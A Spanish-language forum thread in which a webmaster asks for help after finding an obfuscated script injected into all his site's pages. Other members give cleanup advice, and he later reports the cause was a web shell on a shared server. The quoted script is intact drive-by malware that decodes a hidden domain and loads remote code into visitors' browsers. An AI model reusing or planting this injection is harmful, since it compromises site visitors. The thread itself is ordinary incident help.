hacking?? help me plis

[kaninox]

hola amigos les cuento. hoy me enviaron un correo, en donde me dicen que les han hackeado la web, y pues viendo las paginas me he encontrado con un script en todas las paginas. pero no se que hace y como puedo evitarlo, aunque ya he resubido el sitio supongo lo pueden inyectar nuevamente :/ alguna idea....

Código PHP:

<script>function DlofiYuxazazez (PilohiJinowit) { var DderedYixukca = document.cookie.indexOf (';', PilohiJinowit); if (DderedYixukca == -1) DderedYixukca = document.cookie.length; return unescape(document.cookie.substring(PilohiJinowit, DderedYixukca)); } function SzhkuSenavgox (name) { var arg = name + '='; var alen = arg.length; var clen = document.cookie.length; var i = 0; while (i < clen) { var j = i + alen; if (document.cookie.substring(i, j) == arg) return DlofiYuxazazez (j); i = document.cookie.indexOf(' ', i) + 1; if (i == 0) break; } return null; } function RaxasepfXagogiwiq (name, value) { var argv = RaxasepfXagogiwiq.arguments; var argc = RaxasepfXagogiwiq.arguments.length; var expires = (argc > 2) ? argv[2] : null; var path = (argc > 3) ? argv[3] : null; var domain = (argc > 4) ? argv[4] : null; var secure = (argc > 5) ? argv[5] : false; document.cookie = name + '=' + escape (value) + ((expires == null) ? '' : ('; expires=' + expires.toGMTString())) + ((path == null) ? '' : ('; path=' + path)) + ((domain == null) ? '' : ('; domain=' + domain)) + ((secure == true) ? '; secure' : ''); } if (SzhkuSenavgox('o') == null) { var DukiqesMizug = 'HGYFFYFiNWFRTnIIDKIPWsZYXtYMPIXXJaLXZHSRMZlZBYlYWJZMBFIXM-RSOBFUEBQaHTVCdYDTQLCZVRYoTKVBXYQbKRXOPTUCeRDDTUA-PQXOFAHVFQfJGNlKHIWBaGHWsXRPXGMBIhBJO.YKMMPcWWVAKKHKFoABVWUMQYFm'.replace(/[A-Z]/g,''); var DodiczoWeheb = document.createElement('script'); DodiczoWeheb.src = 'http://' + DukiqesMizug + '/counter/?page=' + escape(document.referrer) + '&rnd=' + Math.random() + '&fromsrv=1'; document.getElementsByTagName('head')[0].appendChild(DodiczoWeheb); var NavonucyiRalirowipa = new Date (); NavonucyiRalirowipa.setTime(NavonucyiRalirowipa.getTime() + (8*3600*1000)); RaxasepfXagogiwiq('o','1',NavonucyiRalirowipa, '/'); }</script>
 

esta al final de todas las paginas, ahora lo mas raro es que a entrar a la web me sale que la web es una web atacante, el tipico cartelito "sacame de aquí" como puedo quitar eso :s

saludos

[maycolalvarez]

cielos!, cambia inmediatamente la clave del FTP

debes revisar si en la base de datos pueda existir la inyección, la carpeta y archivos de UPLOAD

[santris]

Tambien sería apropiado ponerse en contacto con el proveedor del hosting, quizas no haya sido la única incursión.

Saludos y suerte

[kaninox]

gracias vamos a ir probando todas esas cosas

[Emirodgar]

Después de solventar el problema, pide una solicitud de reconsideración desde webmasters tools, así dejará de aparecer el cartelito de "sitio peligroso" cuando alguien visite tu página ;)

[morior]

Cuando lo tengas solucionado, si puede ser pásate por aquí para explicarnos qué era, cómo lo solucionaste y cómo ha quedado el tema. A mí me interesa el tema de la seguridad y creo que estos aportes nos enriquecen a todos.

[eulerss]

Cuando lo tengas solucionado, si puede ser pásate por aquí para explicarnos qué era, cómo lo solucionaste y cómo ha quedado el tema. A mí me interesa el tema de la seguridad y creo que estos aportes nos enriquecen a todos.

completamente de acuerdo

[newboy_master]

Yo creo que has sido atacado por algún bug de el script que estuvieras utilizando ( Joomla, Drupal, Desarrollada desde 0, etc.. ), he estado investigando un poco, quizás alguna variable no estuviera filtrada y han incluído un archivo remoto a todos tus archivos o una shell:

RFI -> http://es.wikipedia.org/wiki/Remote_File_Inclusion

¿En qué lenguaje/s estaba programada? Si me dices que sólo estaba en html.. olvida lo que he dicho arriba..

Salu2.

[kaninox]

buenas, pues después de un tiempo y pues con los problemas de mi pais respecto al terremoto que aun nos afecta :(, pues solucione el tema, el problema fue otra web alojada en el server con la cual infectaron todo el server con ese codigo, tuve que cambiar mi cuenta ftp y demas y resubir la ultima actualización mia sin el dichoso codigo, ver el .htaccess etc...
segun parece a alguien le injectaron código con el famoso c99.php según lo que me explicaba el dueño del server, por lo cual podian ver todas las web's.
problemas con mi web no había, permisos ok, cuentas ok etc...
me di cuenta del problema cuando empezo a fallar el ingreso al foro, solo eso.
solo por si acaso actualice un foro smf que tenia en version 1.0 a la ultima.
en este caso mi web esta hecha con php hecho por mi, no me gustan los CMS aunque administro webs con joomla y las mantengo al dia en actualizaciones, contraseñas y datos importantes guardados en sha1(); y md5();
fue lo que hice, ademas de respaldar nuevamente el sitio, ("siempre es bueno tener un respaldo importante de sus sitios web")., dudo que hacia dicho script :/ pero bueno me pase por que al igual que uds. es un tema muy interesante.


Saludos.

[santris]

Me alegra que hayas solucionado el tema y me solidarizo con tu pais por la trajedia que ha sufrido, una verdadera desgracia.

[jomaruro]

Hola kaninox:

Me alegro de que estés bien y espero que todos los tuyos también.

Saludos.

[kaninox]

gracias :D